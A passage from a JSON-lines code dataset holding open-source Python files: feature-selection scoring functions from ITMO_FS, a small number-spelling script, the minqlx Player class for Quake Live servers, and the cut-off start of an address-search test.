np.mean(y)\n sq_dev_x = x_dev * x_dev\n sq_dev_y = y_dev * y_dev\n sum_dev = y_dev.T.dot(x_dev).reshape((x.shape[1],))\n denominators = np.sqrt(np.sum(sq_dev_y) * np.sum(sq_dev_x, axis=0))\n\n results = np.array(\n [(sum_dev[i] / denominators[i]) if denominators[i] > 0.0 else 0 for i\n in range(len(denominators))])\n return results\n\n\n# TODO need to implement unsupervised way\ndef laplacian_score(x, y, k_neighbors=5, t=1, metric='euclidean', **kwargs):\n \"\"\"Calculate Laplacian Score for each feature. Smaller values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n k_neighbors : int, optional\n The number of neighbors to construct a nearest neighbor graph.\n t : float, optional\n Suitable constant for weight matrix S\n where Sij = exp(-(|xi - xj| ^ 2) / t).\n metric : str or callable, optional\n Norm function to compute distance between two points or one of the\n commonly used strings ('euclidean', 'manhattan' etc.) The default\n metric is euclidean.\n weights : array-like, shape (n_samples, n_samples)\n The weight matrix of the graph that models the local structure of\n the data space. By default it is constructed using KNN algorithm.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://papers.nips.cc/paper/2909-laplacian-score-for-feature-selection.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import laplacian_score\n >>> import numpy as np\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 3, 4, 5])\n >>> laplacian_score(x, y)\n array([1.98983619, 1.22248371, nan, 0.79710221, 1.90648048])\n \"\"\"\n n, m = x.shape\n k_neighbors = min(k_neighbors, n - 1)\n if 'weights' in kwargs.keys():\n S = kwargs['weights']\n else:\n if n > 100000:\n S = lil_matrix((n, n))\n else:\n S = np.zeros((n, n))\n graph = NearestNeighbors(n_neighbors=k_neighbors, metric=metric)\n graph.fit(x)\n distances, neighbors = graph.kneighbors()\n for i in range(n):\n for j in range(k_neighbors):\n S[i, neighbors[i][j]] = S[neighbors[i][j], i] = exp(\n -distances[i][j] * distances[i][j] / t)\n ONE = np.ones((n,))\n D = np.diag(S.dot(ONE))\n L = D - S\n t = D.dot(ONE)\n F = x - x.T.dot(t) / ONE.dot(t)\n F = F.T.dot(L.dot(F)) / F.T.dot(D.dot(F))\n return np.diag(F)\n\n\ndef information_gain(x, y):\n \"\"\"Calculate mutual information for each feature by formula\n I(X,Y) = H(Y) - H(Y|X). Bigger values mean more important features. This\n measure works best with discrete features due to being based on information\n theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import information_gain\n >>> import numpy as np\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 3, 4, 5])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> information_gain(x, y)\n array([1.33217904, 1.33217904, 0. , 0.67301167, 1.60943791])\n \"\"\"\n entropy_x = entropy(y)\n cond_entropy = np.apply_along_axis(conditional_entropy, 0, x, y)\n return entropy_x - cond_entropy\n\n\ndef anova(x, y):\n \"\"\"Calculate anova measure for each feature. Bigger values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n Lowry, Richard. \"Concepts and Applications of Inferential Statistics\".\n Chapter 14. http://vassarstats.net/textbook/\n\n Note:\n The Anova score is counted for checking hypothesis if variances of two\n samples are similar, this measure only returns you counted F-score.\n For understanding whether samples' variances are similar you should\n compare recieved result with value of F-distribution function, for\n example use:\n https://docs.scipy.org/doc/scipy/reference/generated/scipy.special.fdtrc.html#scipy.special.fdtrc\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import anova\n >>> import numpy as np\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 1, 3, 3])\n >>> anova(x, y)\n array([12.6 , 0.04, nan, 1.4 , 3. ])\n \"\"\"\n split_by_class = [x[y == k] for k in np.unique(y)]\n num_classes = len(np.unique(y))\n num_samples = x.shape[0]\n num_samples_by_class = [s.shape[0] for s in split_by_class]\n sq_sum_all = sum((s ** 2).sum(axis=0) for s in split_by_class)\n sum_group = [np.asarray(s.sum(axis=0)) for s in split_by_class]\n sq_sum_combined = sum(sum_group) ** 2\n sum_sq_group = [np.asarray((s ** 2).sum(axis=0)) for s in split_by_class]\n sq_sum_group = [s ** 2 for s in sum_group]\n sq_sum_total = sq_sum_all - sq_sum_combined / float(num_samples)\n sq_sum_within = sum(\n [sum_sq_group[i] - sq_sum_group[i] / num_samples_by_class[i] for i in\n range(num_classes)])\n sq_sum_between = sq_sum_total - sq_sum_within\n deg_free_between = num_classes - 1\n deg_free_within = num_samples - num_classes\n ms_between = sq_sum_between / float(deg_free_between)\n ms_within = sq_sum_within / float(deg_free_within)\n f = ms_between / ms_within\n return np.array(f)\n\n\ndef modified_t_score(x, y):\n \"\"\"Calculate the Modified T-score for each feature. Bigger values mean\n more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples. There can be only 2 classes.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n For more details see paper .\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import modified_t_score\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 1, 2, 1, 2])\n >>> modified_t_score(x, y)\n array([1.68968099, 0.12148022, 0.39653932, 0.17682997, 2.04387142])\n \"\"\"\n classes = np.unique(y)\n\n size_class0 = y[y == classes[0]].size\n size_class1 = y[y == classes[1]].size\n\n mean_class0 = np.mean(x[y == classes[0]], axis=0)\n mean_class0 = np.nan_to_num(mean_class0)\n mean_class1 = np.mean(x[y == classes[1]], axis=0)\n mean_class1 = np.nan_to_num(mean_class1)\n\n std_class0 = np.std(x[y == classes[0]], axis=0)\n std_class0 = np.nan_to_num(std_class0)\n std_class1 = np.std(x[y == classes[1]], axis=0)\n std_class1 = np.nan_to_num(std_class1)\n\n corr_with_y = np.apply_along_axis(\n lambda feature: abs(np.corrcoef(feature, y)[0][1]), 0, x)\n corr_with_y = np.nan_to_num(corr_with_y)\n\n corr_with_others = abs(np.corrcoef(x, rowvar=False))\n corr_with_others = np.nan_to_num(corr_with_others)\n\n mean_of_corr_with_others = (\n corr_with_others.sum(axis=1)\n - corr_with_others.diagonal()) / (len(corr_with_others) - 1)\n\n t_score_numerator = abs(mean_class0 - mean_class1)\n t_score_denominator = np.sqrt(\n (size_class0 * np.square(std_class0) + size_class1 * np.square(\n std_class1)) / (size_class0 + size_class1))\n modificator = corr_with_y / mean_of_corr_with_others\n\n modified_t_score = t_score_numerator / t_score_denominator * modificator\n modified_t_score = np.nan_to_num(modified_t_score)\n\n return modified_t_score\n\n\nMEASURE_NAMES = {\"FitCriterion\": fit_criterion_measure,\n \"FRatio\": f_ratio_measure,\n \"GiniIndex\": gini_index,\n \"SymmetricUncertainty\": su_measure,\n \"SpearmanCorr\": spearman_corr,\n \"PearsonCorr\": pearson_corr,\n \"FechnerCorr\": fechner_corr,\n \"KendallCorr\": kendall_corr,\n \"ReliefF\": reliefF_measure,\n \"Chi2\": chi2_measure,\n \"Anova\": anova,\n \"LaplacianScore\": laplacian_score,\n \"InformationGain\": information_gain,\n \"ModifiedTScore\": modified_t_score,\n \"Relief\": relief_measure}\n\n\ndef select_best_by_value(value):\n return _wrapped_partial(__select_by_value, value=value, more=True)\n\n\ndef select_worst_by_value(value):\n return _wrapped_partial(__select_by_value, value=value, more=False)\n\n\ndef __select_by_value(scores, value, more=True):\n if more:\n return np.flatnonzero(scores >= value)\n else:\n return np.flatnonzero(scores <= value)\n\n\ndef select_k_best(k):\n return _wrapped_partial(__select_k, k=k, reverse=True)\n\n\ndef select_k_worst(k):\n return _wrapped_partial(__select_k, k=k)\n\n\ndef __select_k(scores, k, reverse=False):\n if not isinstance(k, int):\n raise TypeError(\"Number of features should be integer\")\n if k > scores.shape[0]:\n raise ValueError(\n \"Cannot select %d features with n_features = %d\" % (k, len(scores)))\n order = np.argsort(scores)\n if reverse:\n order = order[::-1]\n return order[:k]\n\n\ndef __select_percentage_best(scores, percent):\n return __select_k(\n scores, k=(int)(scores.shape[0] * percent), reverse=True)\n\n\ndef select_best_percentage(percent):\n return _wrapped_partial(__select_percentage_best, percent=percent)\n\n\ndef __select_percentage_worst(scores, percent):\n return __select_k(\n scores, k=(int)(scores.shape[0] * percent), reverse=False)\n\n\ndef select_worst_percentage(percent):\n return _wrapped_partial(__select_percentage_worst, percent=percent)\n\n\nCR_NAMES = {\"Best by value\": select_best_by_value,\n \"Worst by value\": select_worst_by_value,\n \"K best\": select_k_best,\n \"K worst\": select_k_worst,\n \"Worst by percentage\": select_worst_percentage,\n \"Best by percentage\": select_best_percentage}\n\n\ndef qpfs_filter(X, y, r=None, sigma=None, solv='quadprog', fn=pearson_corr):\n \"\"\"Performs Quadratic Programming Feature Selection algorithm.\n Note: this realization requires labels to start from 1 and be numerical.\n\n Parameters\n ----------\n X : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n r : int\n The number of samples to be used in Nystrom optimization.\n sigma : double\n The threshold for eigenvalues to be used in solving QP optimization.\n solv : string, default\n The name of qp solver according to\n qpsolvers(https://pypi.org/project/qpsolvers/) naming. Note quadprog\n is used by default.\n fn : function(array, array), default\n The function to count correlation, for example pierson correlation or\n mutual information. Note mutual information is used by default.\n\n Returns\n -------\n array-like, shape (n_features,) : the ranks of features in dataset, with\n rank increase, feature relevance increases and redundancy decreases.\n\n See Also\n --------\n http://www.jmlr.org/papers/volume11/rodriguez-lujan10a/rodriguez-lujan10a.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import qpfs_filter\n >>> from sklearn.datasets import make_classification\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> ranks = qpfs_filter(x, y)\n >>> print(ranks)\n \"\"\"\n return qpfs_body(X, y, fn, r=r, sigma=sigma, solv=solv)\n", "source": "educauchy/ITMO_FS", "license": "BSD-3-Clause"} {"text": "def Spell_0_10(n):\r\n refTuple = (\"zero\",\"one\",\"two\",\"three\",\"four\",\"five\",\r\n \"six\",\"seven\",\"eight\",\"nine\",\"ten\")\r\n return refTuple[n]\r\n\r\nprint(1, \" is spelt as \", Spell_0_10(1))\r\nfor i in range(11):\r\n print(\"{} is spelt as {}\".format(i,Spell_0_10(i)))\r\n\r\nfor i in range (-9,0,1):\r\n print(\"{} is spelt as {}\".format(i, Spell_0_10(i)))\r\n", "source": "hkrsmk/python", "license": "Unlicense"} {"text": "# minqlx - Extends Quake Live's dedicated server with extra functionality and scripting.\n# Copyright (C) 2015 Mino \n\n# This file is part of minqlx.\n\n# minqlx is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# minqlx is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with minqlx. If not, see .\n\nimport minqlx\nimport re\n\n_DUMMY_USERINFO = (\"ui_singlePlayerActive\\\\0\\\\cg_autoAction\\\\1\\\\cg_autoHop\\\\0\"\n \"\\\\cg_predictItems\\\\1\\\\model\\\\bitterman/sport_blue\\\\headmodel\\\\crash/red\"\n \"\\\\handicap\\\\100\\\\cl_anonymous\\\\0\\\\color1\\\\4\\\\color2\\\\23\\\\sex\\\\male\"\n \"\\\\teamtask\\\\0\\\\rate\\\\25000\\\\country\\\\NO\")\n\nclass NonexistentPlayerError(Exception):\n \"\"\"An exception that is raised when a player that disconnected is being used\n as if the player were still present.\n\n \"\"\"\n pass\n\nclass Player():\n \"\"\"A class that represents a player on the server. As opposed to minqlbot,\n attributes are all the values from when the class was instantiated. This\n means for instance if a player is on the blue team when you check, but\n then moves to red, it will still be blue when you check a second time.\n To update it, use :meth:`~.Player.update`. Note that if you update it\n and the player has disconnected, it will raise a\n :exc:`minqlx.NonexistentPlayerError` exception.\n\n \"\"\"\n def __init__(self, client_id, info=None):\n self._valid = True\n\n # Can pass own info for efficiency when getting all players and to allow dummy players.\n if info:\n self._id = client_id\n self._info = info\n else:\n self._id = client_id\n self._info = minqlx.player_info(client_id)\n if not self._info:\n self._invalidate(\"Tried to initialize a Player instance of nonexistant player {}.\"\n .format(client_id))\n\n self._userinfo = None\n self._steam_id = self._info.steam_id\n\n # When a player connects, a the name field in the client struct has yet to be initialized,\n # so we fall back to the userinfo and try parse it ourselves to get the name if needed.\n if self._info.name:\n self._name = self._info.name\n else:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n if \"name\" in self._userinfo:\n self._name = self._userinfo[\"name\"]\n else: # No name at all. Weird userinfo during connection perhaps?\n self._name = \"\"\n\n def __repr__(self):\n if not self._valid:\n return \"{}(INVALID:'{}':{})\".format(self.__class__.__name__,\n self.clean_name, self.steam_id)\n\n return \"{}({}:'{}':{})\".format(self.__class__.__name__, self._id,\n self.clean_name, self.steam_id)\n\n def __str__(self):\n return self.name\n\n def __contains__(self, key):\n return key in self.cvars\n\n def __getitem__(self, key):\n return self.cvars[key]\n\n def __eq__(self, other):\n if isinstance(other, type(self)):\n return self.steam_id == other.steam_id\n else:\n return self.steam_id == other\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def update(self):\n \"\"\"Update the player information with the latest data. If the player\n disconnected it will raise an exception and invalidates a player.\n The player's name and Steam ID can still be accessed after being\n invalidated, but anything else will make it throw an exception too.\n\n :raises: minqlx.NonexistentPlayerError\n\n \"\"\"\n self._info = minqlx.player_info(self._id)\n\n if not self._info or self._steam_id != self._info.steam_id:\n self._invalidate()\n\n if self._info.name:\n self._name = self._info.name\n else:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n if \"name\" in self._userinfo:\n self._name = self._userinfo[\"name\"]\n else:\n self._name = \"\"\n\n def _invalidate(self, e=\"The player does not exist anymore. Did the player disconnect?\"):\n self._valid = False\n raise NonexistentPlayerError(e)\n\n @property\n def cvars(self):\n if not self._valid:\n self._invalidate()\n\n if not self._userinfo:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n\n return self._userinfo.copy()\n\n @cvars.setter\n def cvars(self, new_cvars):\n new = \"\".join([\"\\\\{}\\\\{}\".format(key, new_cvars[key]) for key in new_cvars])\n minqlx.client_command(self.id, \"userinfo \\\"{}\\\"\".format(new))\n\n @property\n def steam_id(self):\n return self._steam_id\n\n @property\n def id(self):\n return self._id\n\n @property\n def ip(self):\n if \"ip\" in self:\n return self[\"ip\"].split(\":\")[0]\n else:\n return \"\"\n\n @property\n def clan(self):\n \"\"\"The clan tag. Not actually supported by QL, but it used to be and\n fortunately the scoreboard still properly displays it if we manually\n set the configstring to use clan tags.\"\"\"\n try:\n return minqlx.parse_variables(minqlx.get_configstring(529 + self._id))[\"cn\"]\n except KeyError:\n return \"\"\n\n @clan.setter\n def clan(self, tag):\n index = self.id + 529\n cs = minqlx.parse_variables(minqlx.get_configstring(index), ordered=True)\n cs[\"xcn\"] = tag\n cs[\"cn\"] = tag\n new_cs = \"\".join([\"\\\\{}\\\\{}\".format(key, cs[key]) for key in cs])\n minqlx.set_configstring(index, new_cs)\n\n @property\n def name(self):\n return self._name + \"^7\"\n\n @name.setter\n def name(self, value):\n new = self.cvars\n new[\"name\"] = value\n self.cvars = new\n\n @property\n def clean_name(self):\n \"\"\"Removes color tags from the name.\"\"\"\n return re.sub(r\"\\^[0-9]\", \"\", self.name)\n\n @property\n def qport(self):\n if \"qport\" in self:\n return int(self[\"qport\"])\n else:\n return -1\n\n @property\n def team(self):\n return minqlx.TEAMS[self._info.team]\n\n @team.setter\n def team(self, new_team):\n self.put(new_team)\n\n @property\n def colors(self):\n # Float because they can occasionally be floats for some reason.\n return float(self[\"color1\"]), float(self[\"color2\"])\n\n @colors.setter\n def colors(self, value):\n new = self.cvars\n c1, c2 = value\n new[\"color1\"] = c1\n new[\"color2\"] = c2\n self.cvars = new\n\n @property\n def model(self):\n return self[\"model\"]\n\n @model.setter\n def model(self, value):\n new = self.cvars\n new[\"model\"] = value\n self.cvars = new\n\n @property\n def headmodel(self):\n return self[\"headmodel\"]\n\n @headmodel.setter\n def headmodel(self, value):\n new = self.cvars\n new[\"headmodel\"] = value\n self.cvars = new\n\n @property\n def handicap(self):\n return self[\"handicap\"]\n\n @handicap.setter\n def handicap(self, value):\n new = self.cvars\n new[\"handicap\"] = value\n self.cvars = new\n\n @property\n def autohop(self):\n return bool(int(self[\"cg_autoHop\"]))\n\n @autohop.setter\n def autohop(self, value):\n new = self.cvars\n new[\"autohop\"] = int(value)\n self.cvars = new\n\n @property\n def autoaction(self):\n return bool(int(self[\"cg_autoAction\"]))\n\n @autoaction.setter\n def autoaction(self, value):\n new = self.cvars\n new[\"cg_autoAction\"] = int(value)\n self.cvars = new\n\n @property\n def predictitems(self):\n return bool(int(self[\"cg_predictItems\"]))\n\n @predictitems.setter\n def predictitems(self, value):\n new = self.cvars\n new[\"cg_predictItems\"] = int(value)\n self.cvars = new\n\n @property\n def connection_state(self):\n \"\"\"A string describing the connection state of a player.\n\n Possible values:\n - *free* -- The player has disconnected and the slot is free to be used by someone else.\n - *zombie* -- The player disconnected and his/her slot will be available to other players shortly.\n - *connected* -- The player connected, but is currently loading the game.\n - *primed* -- The player was sent the necessary information to play, but has yet to send commands.\n - *active* -- The player finished loading and is actively sending commands to the server.\n\n In other words, if you need to make sure a player is in-game, check if ``player.connection_state == \"active\"``.\n\n \"\"\"\n return minqlx.CONNECTION_STATES[self._info.connection_state]\n\n @property\n def state(self):\n return minqlx.player_state(self.id)\n\n @property\n def privileges(self):\n if self._info.privileges == minqlx.PRIV_NONE:\n return None\n elif self._info.privileges == minqlx.PRIV_MOD:\n return \"mod\"\n elif self._info.privileges == minqlx.PRIV_ADMIN:\n return \"admin\"\n elif self._info.privileges == minqlx.PRIV_ROOT:\n return \"root\"\n elif self._info.privileges == minqlx.PRIV_BANNED:\n return \"banned\"\n\n @privileges.setter\n def privileges(self, value):\n if not value or value == \"none\":\n minqlx.set_privileges(self.id, minqlx.PRIV_NONE)\n elif value == \"mod\":\n minqlx.set_privileges(self.id, minqlx.PRIV_MOD)\n elif value == \"admin\":\n minqlx.set_privileges(self.id, minqlx.PRIV_ADMIN)\n else:\n raise ValueError(\"Invalid privilege level.\")\n\n @property\n def country(self):\n return self[\"country\"]\n\n @country.setter\n def country(self, value):\n new = self.cvars\n new[\"country\"] = value\n self.cvars = new\n\n @property\n def valid(self):\n return self._valid\n\n @property\n def stats(self):\n return minqlx.player_stats(self.id)\n\n @property\n def ping(self):\n return self.stats.ping\n\n def position(self, reset=False, **kwargs):\n if reset:\n pos = minqlx.Vector3((0, 0, 0))\n else:\n pos = self.state.position\n\n if not kwargs:\n return pos\n\n x = pos.x if \"x\" not in kwargs else kwargs[\"x\"]\n y = pos.y if \"y\" not in kwargs else kwargs[\"y\"]\n z = pos.z if \"z\" not in kwargs else kwargs[\"z\"]\n\n return minqlx.set_position(self.id, minqlx.Vector3((x, y, z)))\n\n def velocity(self, reset=False, **kwargs):\n if reset:\n vel = minqlx.Vector3((0, 0, 0))\n else:\n vel = self.state.velocity\n\n if not kwargs:\n return vel\n\n x = vel.x if \"x\" not in kwargs else kwargs[\"x\"]\n y = vel.y if \"y\" not in kwargs else kwargs[\"y\"]\n z = vel.z if \"z\" not in kwargs else kwargs[\"z\"]\n\n return minqlx.set_velocity(self.id, minqlx.Vector3((x, y, z)))\n\n def weapons(self, reset=False, **kwargs):\n if reset:\n weaps = minqlx.Weapons(((False,)*15))\n else:\n weaps = self.state.weapons\n\n if not kwargs:\n return weaps\n\n g = weaps.g if \"g\" not in kwargs else kwargs[\"g\"]\n mg = weaps.mg if \"mg\" not in kwargs else kwargs[\"mg\"]\n sg = weaps.sg if \"sg\" not in kwargs else kwargs[\"sg\"]\n gl = weaps.gl if \"gl\" not in kwargs else kwargs[\"gl\"]\n rl = weaps.rl if \"rl\" not in kwargs else kwargs[\"rl\"]\n lg = weaps.lg if \"lg\" not in kwargs else kwargs[\"lg\"]\n rg = weaps.rg if \"rg\" not in kwargs else kwargs[\"rg\"]\n pg = weaps.pg if \"pg\" not in kwargs else kwargs[\"pg\"]\n bfg = weaps.bfg if \"bfg\" not in kwargs else kwargs[\"bfg\"]\n gh = weaps.gh if \"gh\" not in kwargs else kwargs[\"gh\"]\n ng = weaps.ng if \"ng\" not in kwargs else kwargs[\"ng\"]\n pl = weaps.pl if \"pl\" not in kwargs else kwargs[\"pl\"]\n cg = weaps.cg if \"cg\" not in kwargs else kwargs[\"cg\"]\n hmg = weaps.hmg if \"hmg\" not in kwargs else kwargs[\"hmg\"]\n hands = weaps.hands if \"hands\" not in kwargs else kwargs[\"hands\"]\n\n return minqlx.set_weapons(self.id,\n minqlx.Weapons((g, mg, sg, gl, rl, lg, rg, pg, bfg, gh, ng, pl, cg, hmg, hands)))\n\n def weapon(self, new_weapon=None):\n if new_weapon is None:\n return self.state.weapon\n elif new_weapon in minqlx.WEAPONS:\n pass\n elif new_weapon in minqlx.WEAPONS.values():\n new_weapon = tuple(minqlx.WEAPONS.values()).index(new_weapon)\n\n return minqlx.set_weapon(self.id, new_weapon)\n\n def ammo(self, reset=False, **kwargs):\n if reset:\n a = minqlx.Weapons(((0,)*15))\n else:\n a = self.state.ammo\n\n if not kwargs:\n return a\n\n g = a.g if \"g\" not in kwargs else kwargs[\"g\"]\n mg = a.mg if \"mg\" not in kwargs else kwargs[\"mg\"]\n sg = a.sg if \"sg\" not in kwargs else kwargs[\"sg\"]\n gl = a.gl if \"gl\" not in kwargs else kwargs[\"gl\"]\n rl = a.rl if \"rl\" not in kwargs else kwargs[\"rl\"]\n lg = a.lg if \"lg\" not in kwargs else kwargs[\"lg\"]\n rg = a.rg if \"rg\" not in kwargs else kwargs[\"rg\"]\n pg = a.pg if \"pg\" not in kwargs else kwargs[\"pg\"]\n bfg = a.bfg if \"bfg\" not in kwargs else kwargs[\"bfg\"]\n gh = a.gh if \"gh\" not in kwargs else kwargs[\"gh\"]\n ng = a.ng if \"ng\" not in kwargs else kwargs[\"ng\"]\n pl = a.pl if \"pl\" not in kwargs else kwargs[\"pl\"]\n cg = a.cg if \"cg\" not in kwargs else kwargs[\"cg\"]\n hmg = a.hmg if \"hmg\" not in kwargs else kwargs[\"hmg\"]\n hands = a.hands if \"hands\" not in kwargs else kwargs[\"hands\"]\n\n return minqlx.set_ammo(self.id,\n minqlx.Weapons((g, mg, sg, gl, rl, lg, rg, pg, bfg, gh, ng, pl, cg, hmg, hands)))\n\n def powerups(self, reset=False, **kwargs):\n if reset:\n pu = minqlx.Powerups(((0,)*6))\n else:\n pu = self.state.powerups\n\n if not kwargs:\n return pu\n\n quad = pu.quad if \"quad\" not in kwargs else round(kwargs[\"quad\"]*1000)\n bs = pu.battlesuit if \"battlesuit\" not in kwargs else round(kwargs[\"battlesuit\"]*1000)\n haste = pu.haste if \"haste\" not in kwargs else round(kwargs[\"haste\"]*1000)\n invis = pu.invisibility if \"invisibility\" not in kwargs else round(kwargs[\"invisibility\"]*1000)\n regen = pu.regeneration if \"regeneration\" not in kwargs else round(kwargs[\"regeneration\"]*1000)\n invul = pu.invulnerability if \"invulnerability\" not in kwargs else round(kwargs[\"invulnerability\"]*1000)\n\n return minqlx.set_powerups(self.id,\n minqlx.Powerups((quad, bs, haste, invis, regen, invul)))\n\n @property\n def holdable(self):\n return self.state.holdable\n\n @holdable.setter\n def holdable(self, value):\n if not value:\n minqlx.set_holdable(self.id, 0)\n elif value == \"teleporter\":\n minqlx.set_holdable(self.id, 27)\n elif value == \"medkit\":\n minqlx.set_holdable(self.id, 28)\n elif value == \"flight\":\n minqlx.set_holdable(self.id, 34)\n self.flight(reset=True)\n elif value == \"kamikaze\":\n minqlx.set_holdable(self.id, 37)\n elif value == \"portal\":\n minqlx.set_holdable(self.id, 38)\n elif value == \"invulnerability\":\n minqlx.set_holdable(self.id, 39)\n else:\n raise ValueError(\"Invalid holdable item.\")\n\n def drop_holdable(self):\n minqlx.drop_holdable(self.id)\n\n def flight(self, reset=False, **kwargs):\n state = self.state\n if state.holdable != \"flight\":\n self.holdable = \"flight\"\n reset = True\n\n if reset:\n # Set to defaults on reset.\n fl = minqlx.Flight((16000, 16000, 1200, 0))\n else:\n fl = state.flight\n\n fuel = fl.fuel if \"fuel\" not in kwargs else kwargs[\"fuel\"]\n max_fuel = fl.max_fuel if \"max_fuel\" not in kwargs else kwargs[\"max_fuel\"]\n thrust = fl.thrust if \"thrust\" not in kwargs else kwargs[\"thrust\"]\n refuel = fl.refuel if \"refuel\" not in kwargs else kwargs[\"refuel\"]\n\n return minqlx.set_flight(self.id, minqlx.Flight((fuel, max_fuel, thrust, refuel)))\n\n @property\n def noclip(self):\n return self.state.noclip\n\n @noclip.setter\n def noclip(self, value):\n minqlx.noclip(self.id, bool(value))\n\n @property\n def health(self):\n return self.state.health\n\n @health.setter\n def health(self, value):\n minqlx.set_health(self.id, value)\n\n @property\n def armor(self):\n return self.state.armor\n\n @armor.setter\n def armor(self, value):\n minqlx.set_armor(self.id, value)\n\n @property\n def is_alive(self):\n return self.state.is_alive\n\n @is_alive.setter\n def is_alive(self, value):\n if not isinstance(value, bool):\n raise ValueError(\"is_alive needs to be a boolean.\")\n\n cur = self.is_alive\n if cur and value is False:\n # TODO: Proper death and not just setting health to 0.\n self.health = 0\n elif not cur and value is True:\n minqlx.player_spawn(self.id)\n\n @property\n def is_frozen(self):\n return self.state.is_frozen\n\n @property\n def score(self):\n return self.stats.score\n\n @score.setter\n def score(self, value):\n return minqlx.set_score(self.id, value)\n\n @property\n def air_control(self):\n return self.state.air_control\n\n @air_control.setter\n def air_control(self, value):\n minqlx.set_air_control(self.id, value)\n\n @property\n def channel(self):\n return minqlx.TellChannel(self)\n\n def center_print(self, msg):\n minqlx.send_server_command(self.id, \"cp \\\"{}\\\"\".format(msg))\n\n def tell(self, msg, **kwargs):\n return minqlx.Plugin.tell(msg, self, **kwargs)\n\n def kick(self, reason=\"\"):\n return minqlx.Plugin.kick(self, reason)\n\n def ban(self):\n return minqlx.Plugin.ban(self)\n\n def tempban(self):\n return minqlx.Plugin.tempban(self)\n\n def addadmin(self):\n return minqlx.Plugin.addadmin(self)\n\n def addmod(self):\n return minqlx.Plugin.addmod(self)\n\n def demote(self):\n return minqlx.Plugin.demote(self)\n\n def mute(self):\n return minqlx.Plugin.mute(self)\n\n def unmute(self):\n return minqlx.Plugin.unmute(self)\n\n def put(self, team):\n return minqlx.Plugin.put(self, team)\n\n def addscore(self, score):\n return minqlx.Plugin.addscore(self, score)\n\n def switch(self, other_player):\n return minqlx.Plugin.switch(self, other_player)\n\n def slap(self, damage=0):\n return minqlx.Plugin.slap(self, damage)\n\n def slay(self):\n return minqlx.Plugin.slay(self)\n\n def slay_with_mod(self, mod):\n return minqlx.slay_with_mod(self.id, mod)\n\n @classmethod\n def all_players(cls):\n return [cls(i, info=info) for i, info in enumerate(minqlx.players_info()) if info]\n\nclass AbstractDummyPlayer(Player):\n def __init__(self, name=\"DummyPlayer\"):\n info = minqlx.PlayerInfo((-1, name, minqlx.CS_CONNECTED,\n _DUMMY_USERINFO, -1, minqlx.TEAM_SPECTATOR, minqlx.PRIV_NONE))\n super().__init__(-1, info=info)\n\n @property\n def id(self):\n raise AttributeError(\"Dummy players do not have client IDs.\")\n\n @property\n def steam_id(self):\n raise NotImplementedError(\"steam_id property needs to be implemented.\")\n\n def update(self):\n pass\n\n @property\n def channel(self):\n raise NotImplementedError(\"channel property needs to be implemented.\")\n\n def tell(self, msg):\n raise NotImplementedError(\"tell() needs to be implemented.\")\n\nclass RconDummyPlayer(AbstractDummyPlayer):\n def __init__(self):\n super().__init__(name=self.__class__.__name__)\n\n @property\n def steam_id(self):\n return minqlx.owner()\n\n @property\n def channel(self):\n return minqlx.CONSOLE_CHANNEL\n\n def tell(self, msg):\n self.channel.reply(msg)\n", "source": "mgaertne/minqlx-plugin-tests", "license": "BSD-3-Clause"} {"text": "from service.geometry import Point\nfrom . import asciifold\nfrom .test_search_addresses_simple import SearchAddressesBaseTest\n\nCOMMON_ISCT = 'salta y santa fe'\n\n\nclass SearchAddressesIsctTest(SearchAddressesBaseTest):\n \"\"\"Pruebas de b\u00fasqueda por direcci\u00f3n de tipo 'intersection'.\"\"\"\n\n def 